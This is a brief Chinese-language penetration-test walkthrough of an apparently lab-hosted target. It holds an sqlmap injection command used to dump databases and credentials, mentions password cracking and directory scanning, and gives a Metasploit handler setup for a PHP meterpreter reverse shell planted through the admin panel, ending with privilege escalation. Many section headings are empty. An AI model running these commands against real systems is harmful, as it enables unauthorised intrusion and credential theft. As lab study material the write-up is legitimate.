概述

测试目的

测试范围

详细测试流程

1、发现测试目标

2、信息收集

3、漏洞利用

sqlmap -u http://192.168.152.139?nid=1 --random-agent --level 3 --risk 3 --current-db --is-dba --batch –dbs

发现不是dba有2个数据库

然后逐步报表，字段值

最后得到了2个用户名密码

在cmd5.com上面破解john的成功，admin失败

turtle

Dirsearch扫目录

登录后台以后，寻找可以执行代码，反弹shell的地方

这里还可以使用msf生成php反弹shell脚本，放入其中

然后返回提交以后才能执行代码，msf开启监听即可接受到shell

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 1234

exploit

获得www-data的权限

4、提权

使用-setuid失败

漏洞详情和修复建议

测试结果综述

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用